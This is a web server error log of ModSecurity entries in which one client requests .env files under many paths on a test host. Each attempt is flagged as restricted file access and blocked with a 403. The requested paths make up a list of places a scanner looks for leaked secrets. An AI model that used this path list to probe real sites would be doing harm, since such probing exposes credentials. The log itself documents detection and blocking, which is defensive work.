[Wed Feb 25 06:05:04.721372 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYgAAAAQ&quot;]
[Wed Feb 25 06:05:04.795853 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYwAAAAQ&quot;]
[Wed Feb 25 06:05:04.796116 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYwAAAAQ&quot;]
[Wed Feb 25 06:05:04.796279 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXYwAAAAQ&quot;]
[Wed Feb 25 06:05:04.880142 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example02-golang-package/import-underscore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXZAAAAAQ&quot;]
[Wed Feb 25 06:05:04.880434 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXZAAAAAQ&quot;]
[Wed Feb 25 06:05:04.880625 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXZAAAAAQ&quot;]
[Wed Feb 25 06:05:04.928274 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample01/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXZQAAAAQ&quot;]
[Wed Feb 25 06:05:04.928576 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXZQAAAAQ&quot;]
[Wed Feb 25 06:05:04.928778 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXZQAAAAQ&quot;]
[Wed Feb 25 06:05:04.943264 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiavwAAAAA&quot;]
[Wed Feb 25 06:05:04.943534 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiavwAAAAA&quot;]
[Wed Feb 25 06:05:04.943711 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiavwAAAAA&quot;]
[Wed Feb 25 06:05:04.978161 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample02/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXZgAAAAQ&quot;]
[Wed Feb 25 06:05:04.978700 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXZgAAAAQ&quot;]
[Wed Feb 25 06:05:04.978883 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXZgAAAAQ&quot;]
[Wed Feb 25 06:05:05.008931 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXZwAAAAQ&quot;]
[Wed Feb 25 06:05:05.009210 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXZwAAAAQ&quot;]
[Wed Feb 25 06:05:05.009400 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXZwAAAAQ&quot;]
[Wed Feb 25 06:05:05.031111 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/01-simple-model/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXaAAAAAQ&quot;]
[Wed Feb 25 06:05:05.031399 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXaAAAAAQ&quot;]
[Wed Feb 25 06:05:05.031571 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXaAAAAAQ&quot;]
[Wed Feb 25 06:05:05.154139 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiawQAAAAA&quot;]
[Wed Feb 25 06:05:05.154466 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiawQAAAAA&quot;]
[Wed Feb 25 06:05:05.154665 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiawQAAAAA&quot;]
[Wed Feb 25 06:05:05.208826 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/02-complex-example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXaQAAAAQ&quot;]
[Wed Feb 25 06:05:05.209128 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXaQAAAAQ&quot;]
[Wed Feb 25 06:05:05.209328 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXaQAAAAQ&quot;]
[Wed Feb 25 06:05:05.251137 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiawgAAAAA&quot;]
[Wed Feb 25 06:05:05.251508 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiawgAAAAA&quot;]
[Wed Feb 25 06:05:05.251733 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiawgAAAAA&quot;]
[Wed Feb 25 06:05:05.277708 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/03-one-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXagAAAAQ&quot;]
